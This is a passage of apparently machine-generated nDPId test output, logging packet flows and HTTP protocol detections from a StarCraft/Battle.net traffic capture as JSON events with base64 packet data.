dlZFByb2R1Y3RMb2NhbGVzPSJhbGwiIGxvY2FsZXNUaGF0RGVmYXVsdFRvVGhpc1JlZ2lvbj0iYWxsIi8+CjwvcmVnaW9ucz4K"} +00418{"flow_id":39,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":540,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":905520,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoRFhAAIAG6WbAqAFkUO+6FQ3CAFAtDs1r1zropFAQ+vAfZwAA"} +00418{"flow_id":39,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":541,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":905612,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoRFlAAIAG6WXAqAFkUO+6FQ3CAFAtDs1r1zropFAR+vAfZgAA"} +00418{"flow_id":38,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":542,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":905657,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEaNAAIAGHBfAqAFkUO+6Gg3BAFD6MpbLXJPQaFAR+O0dxAAA"} +00427{"flow_id":39,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":546,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":963713,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoAVtAADMGeWRQ77oVwKgBZABQDcLXOuikLQ7NbFARPLjdnQAAAAAAAAAA"} +00419{"flow_id":39,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":547,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":963765,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoRFtAAIAG6WPAqAFkUO+6FQ3CAFAtDs1s1zropVAQ+vAfZQAA"} +00426{"flow_id":38,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":548,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":964673,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoioVAADMG8DRQ77oawKgBZABQDcFck9Bo+jKWzFARPLjZ+AAAAAAAAAAA"} +00419{"flow_id":38,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":549,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389983,"pkt_ts_usec":964689,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEaVAAIAGHBXAqAFkUO+6Gg3BAFD6MpbMXJPQaVAQ+O0dwwAA"} +00457{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":554,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389984,"pkt_ts_usec":585571,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"IImEa8W6hCYVPnXECABFAABFqPIAADURRNGtwigWwKgBZAG70UAAMT09EMsFZOyxDrjYRG2y0ipp9PqccSz6JxbGFLjQufRr6ohrr0sYBVOehSg="} +00458{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":555,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389984,"pkt_ts_usec":611162,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"hCYVPnXEIImEa8W6CABFAABFDEYAAIARln3AqAFkrcIoFtFAAbsAMRWsDBnPzxTN69maLBrknSaakXZhGjrjRS\/nnffiCjL5Ti69F2I4aVohCWc="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":561,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1437389985308,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.26","src_port":3523,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":561,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":308638,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0EaZAAIAGHAjAqAFkUO+6Gg3DAFAjjlJ6AAAAAIACIAD93gAAAgQFtAEDAwgBAQQC"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":562,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1437389985320,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.26","src_port":3524,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":562,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":320648,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0EadAAIAGHAfAqAFkUO+6Gg3EAFAnGJJ3AAAAAIACIAC6VgAAAgQFtAEDAwgBAQQC"} +00426{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":566,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":363689,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"IImEa8W6hCYVPnXECABFAAAsAABAADMGerZQ77oawKgBZABQDcNyhhfoI45Se2ASOQiDbQAAAgQFtAAA"} +00418{"flow_id":40,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":567,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":363741,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEahAAIAGHBLAqAFkUO+6Gg3DAFAjjlJ7coYX6VAQ+vDZQQAA"} +00618{"flow_id":40,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":568,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":373629,"pkt_caplen":201,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":201,"pkt_l4_len":167,"pkt":"hCYVPnXEIImEa8W6CABFAAC7EalAAIAGG37AqAFkUO+6Gg3DAFAjjlJ7coYX6VAY+vDEMQAAR0VUIC9TMi9lbkdCL2NsaWVudC9mZWVkL2xpdmUtZXZlbnQ\/YnVpbGQ9ZW5HQiZ0YXJnZXRSZWdpb249RVUgSFRUUC8xLjENClVzZXItQWdlbnQ6IEJhdHRsZS5uZXQgV2ViIENsaWVudA0KSG9zdDogbnlkdXMuYmF0dGxlLm5ldA0KQWNjZXB0OiAqLyoNCg0K"} +00717{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":568,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":4,"flow_first_seen":1437389985308,"flow_last_seen":1437389985373,"flow_tot_l4_data_len":243,"flow_min_l4_data_len":20,"flow_max_l4_data_len":167,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.26","src_port":3523,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"nydus.battle.net","url":"nydus.battle.net\/S2\/enGB\/client\/feed\/live-event?build=enGB&targetRegion=EU","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00426{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":569,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":376430,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"IImEa8W6hCYVPnXECABFAAAsAABAADMGerZQ77oawKgBZABQDcQgMkzhJxiSeGASOQhdQAAAAgQFtAAA"} +00418{"flow_id":41,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":570,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":376469,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEapAAIAGHBDAqAFkUO+6Gg3EAFAnGJJ4IDJM4lAQ+vCzFAAA"} +00617{"flow_id":41,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":573,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":385645,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"hCYVPnXEIImEa8W6CABFAAC5EatAAIAGG37AqAFkUO+6Gg3EAFAnGJJ4IDJM4lAY+vAQTgAAR0VUIC9TMi9lbkdCL2NsaWVudC9mZWVkL2hvbWVwYWdlP2J1aWxkPWVuR0ImdGFyZ2V0UmVnaW9uPUVVIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBCYXR0bGUubmV0IFdlYiBDbGllbnQNCkhvc3Q6IG55ZHVzLmJhdHRsZS5uZXQNCkFjY2VwdDogKi8qDQoNCg=="} +00715{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":573,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":4,"flow_first_seen":1437389985320,"flow_last_seen":1437389985385,"flow_tot_l4_data_len":241,"flow_min_l4_data_len":20,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.26","src_port":3524,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"nydus.battle.net","url":"nydus.battle.net\/S2\/enGB\/client\/feed\/homepage?build=enGB&targetRegion=EU","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00426{"flow_id":40,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":574,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":428701,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoYVZAADMGGWRQ77oawKgBZABQDcNyhhfpI45TDlAQPLiW5wAAAAAAAAAA"} +01077{"flow_id":40,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":575,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":429248,"pkt_caplen":545,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":545,"pkt_l4_len":511,"pkt":"IImEa8W6hCYVPnXECABFAAITYVdAADMGF3hQ77oawKgBZABQDcNyhhfpI45TDlAYPLi7LgAASFRUUC8xLjEgMzAyIEZvdW5kDQpEYXRlOiBNb24sIDIwIEp1bCAyMDE1IDEwOjU5OjQ1IEdNVA0KU2VydmVyOiBBcGFjaGUNClgtRnJhbWUtT3B0aW9uczogU0FNRU9SSUdJTg0KTG9jYXRpb246IGh0dHA6Ly9ldS5iYXR0bGUubmV0L3NjMi9lbi1nYi9kYXRhL2xpdmUtZXZlbnRzLnhtbA0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUxlbmd0aDogMjM1DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xDQoNCjwhRE9DVFlQRSBIVE1MIFBVQkxJQyAiLS8vSUVURi8vRFREIEhUTUwgMi4wLy9FTiI+CjxodG1sPjxoZWFkPgo8dGl0bGU+MzAyIEZvdW5kPC90aXRsZT4KPC9oZWFkPjxib2R5Pgo8aDE+Rm91bmQ8L2gxPgo8cD5UaGUgZG9jdW1lbnQgaGFzIG1vdmVkIDxhIGhyZWY9Imh0dHA6Ly9ldS5iYXR0bGUubmV0L3NjMi9lbi1nYi9kYXRhL2xpdmUtZXZlbnRzLnhtbCI+aGVyZTwvYT4uPC9wPgo8L2JvZHk+PC9odG1sPgo="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":576,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1437389985434,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.40","src_port":3525,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":576,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":434803,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0AOhAAIAGLLjAqAFkUO+6KA3FAFDb6m0AAAAAAIACIAAq7AAAAgQFtAEDAwgBAQQC"} +00426{"flow_id":41,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":578,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":441435,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAo4f1AADMGmLxQ77oawKgBZABQDcQgMkziJxiTCVAQPLhwvAAAAAAAAAAA"} +01089{"flow_id":41,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":579,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":441938,"pkt_caplen":553,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":553,"pkt_l4_len":519,"pkt":"IImEa8W6hCYVPnXECABFAAIb4f5AADMGlshQ77oawKgBZABQDcQgMkziJxiTCVAYPLgPegAASFRUUC8xLjEgMzAyIEZvdW5kDQpEYXRlOiBNb24sIDIwIEp1bCAyMDE1IDEwOjU5OjQ1IEdNVA0KU2VydmVyOiBBcGFjaGUNClgtRnJhbWUtT3B0aW9uczogU0FNRU9SSUdJTg0KTG9jYXRpb246IGh0dHA6Ly9ldS5iYXR0bGUubmV0L3NjMi9lbi1nYi9kYXRhL2NsaWVudC1ob21lcGFnZS54bWwNClZhcnk6IEFjY2VwdC1FbmNvZGluZw0KQ29udGVudC1MZW5ndGg6IDIzOQ0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMQ0KDQo8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL0lFVEYvL0RURCBIVE1MIDIuMC8vRU4iPgo8aHRtbD48aGVhZD4KPHRpdGxlPjMwMiBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPkZvdW5kPC9oMT4KPHA+VGhlIGRvY3VtZW50IGhhcyBtb3ZlZCA8YSBocmVmPSJodHRwOi8vZXUuYmF0dGxlLm5ldC9zYzIvZW4tZ2IvZGF0YS9jbGllbnQtaG9tZXBhZ2UueG1sIj5oZXJlPC9hPi48L3A+CjwvYm9keT48L2h0bWw+Cg=="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":580,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1437389985446,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.40","src_port":3526,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":580,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":446792,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0AOlAAIAGLLfAqAFkUO+6KA3GAFDf523sAAAAAIACIAAmAgAAAgQFtAEDAwgBAQQC"} +00418{"flow_id":40,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":581,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":448671,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEa5AAIAGHAzAqAFkUO+6Gg3DAFAjjlMOcoYZ1FAQ+QXYrgAA"} +00418{"flow_id":41,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":583,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":465654,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEa9AAIAGHAvAqAFkUO+6Gg3EAFAnGJMJIDJO1VAQ+P2ygwAA"} +00426{"flow_id":42,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":584,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":486479,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"IImEa8W6hCYVPnXECABFAAAsAABAADMGeqhQ77oowKgBZABQDcUKff272+ptAWASOQgysAAAAgQFtAAA"} +00418{"flow_id":42,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":585,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":486584,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoAOxAAIAGLMDAqAFkUO+6KA3FAFDb6m0BCn39vFAQ+vCIhAAA"} +00701{"flow_id":42,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":586,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":495868,"pkt_caplen":263,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":263,"pkt_l4_len":229,"pkt":"hCYVPnXEIImEa8W6CABFAAD5AO1AAIAGK+7AqAFkUO+6KA3FAFDb6m0BCn39vFAY+vDrAwAAR0VUIC9zYzIvZW4tZ2IvZGF0YS9saXZlLWV2ZW50cy54bWwgSFRUUC8xLjENClVzZXItQWdlbnQ6IEJhdHRsZS5uZXQgV2ViIENsaWVudA0KSG9zdDogZXUuYmF0dGxlLm5ldA0KQWNjZXB0OiAqLyoNClJlZmVyZXI6IGh0dHA6Ly9ueWR1cy5iYXR0bGUubmV0L1MyL2VuR0IvY2xpZW50L2ZlZWQvbGl2ZS1ldmVudD9idWlsZD1lbkdCJnRhcmdldFJlZ2lvbj1FVQ0KDQo="} +00683{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":586,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":4,"flow_first_seen":1437389985434,"flow_last_seen":1437389985495,"flow_tot_l4_data_len":305,"flow_min_l4_data_len":20,"flow_max_l4_data_len":229,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.40","src_port":3525,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"eu.battle.net","url":"eu.battle.net\/sc2\/en-gb\/data\/live-events.xml","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00426{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":587,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":499187,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"IImEa8W6hCYVPnXECABFAAAsAABAADMGeqhQ77oowKgBZABQDcb00A3Z3+dt7WASOQgzVQAAAgQFtAAA"} +00418{"flow_id":43,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":588,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":499228,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoAO5AAIAGLL7AqAFkUO+6KA3GAFDf523t9NAN2lAQ+vCJKQAA"} +00705{"flow_id":43,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":589,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":508690,"pkt_caplen":265,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":265,"pkt_l4_len":231,"pkt":"hCYVPnXEIImEa8W6CABFAAD7AO9AAIAGK+rAqAFkUO+6KA3GAFDf523t9NAN2lAY+vCXMwAAR0VUIC9zYzIvZW4tZ2IvZGF0YS9jbGllbnQtaG9tZXBhZ2UueG1sIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBCYXR0bGUubmV0IFdlYiBDbGllbnQNCkhvc3Q6IGV1LmJhdHRsZS5uZXQNCkFjY2VwdDogKi8qDQpSZWZlcmVyOiBodHRwOi8vbnlkdXMuYmF0dGxlLm5ldC9TMi9lbkdCL2NsaWVudC9mZWVkL2hvbWVwYWdlP2J1aWxkPWVuR0ImdGFyZ2V0UmVnaW9uPUVVDQoNCg=="} +00687{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":589,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":4,"flow_first_seen":1437389985446,"flow_last_seen":1437389985508,"flow_tot_l4_data_len":307,"flow_min_l4_data_len":20,"flow_max_l4_data_len":231,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.40","src_port":3526,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"eu.battle.net","url":"eu.battle.net\/sc2\/en-gb\/data\/client-homepage.xml","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00426{"flow_id":42,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":593,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":547436,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoxexAADMGtL9Q77oowKgBZABQDcUKff282+pt0lAQPLhF7AAAAAAAAAAA"} +02373{"flow_id":42,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":594,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":559563,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcxe1AADMGrwpQ77oowKgBZABQDcUKff282+pt0lAQPLhOqwAASFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBNb24sIDIwIEp1bCAyMDE1IDEwOjU5OjQ1IEdNVA0KU2VydmVyOiBBcGFjaGUNClgtRnJhbWUtT3B0aW9uczogU0FNRU9SSUdJTg0KU2V0LUNvb2tpZTogbG9naW4uY29va2llcz0xOyBEb21haW49YmF0dGxlLm5ldDsgUGF0aD0vDQpDb250ZW50LUxhbmd1YWdlOiBlbi1HQg0KQ29udGVudC1MZW5ndGg6IDI3NzQNClZhcnk6IEFjY2VwdC1FbmNvZGluZw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94bWw7Y2hhcnNldD1VVEYtOA0KDQo8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI\/Pgo8ZmVlZCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwNS9BdG9tIiB4bWw6bGFuZz0iZW4tZ2IiPjxhdXRob3I+PG5hbWU+QmxpenphcmQgRW50ZXJ0YWlubWVudDwvbmFtZT48L2F1dGhvcj48dGl0bGUgdHlwZT0idGV4dCI+U3RhckNyYWZ0wq7CoElJPC90aXRsZT48dXBkYXRlZD4yMDE1LTA3LTE5VDAxOjMwOjAwLjAwMFo8L3VwZGF0ZWQ+PGlkPjIwPC9pZD48ZW50cnk+PHRpdGxlIHR5cGU9InRleHQiPiA8L3RpdGxlPjxwdWJsaXNoZWQ+MjAxNS0wNy0xOVQwMTozMDowMC4wMDBaPC9wdWJsaXNoZWQ+PHVwZGF0ZWQ+MjAxNS0wNy0xNVQxNjozMzo0NC44OTlaPC91cGRhdGVkPjxpZD4xOTgxNjc2MzwvaWQ+PGxpbmsgaHJlZj0iaHR0cDovL3djcy5iYXR0bGUu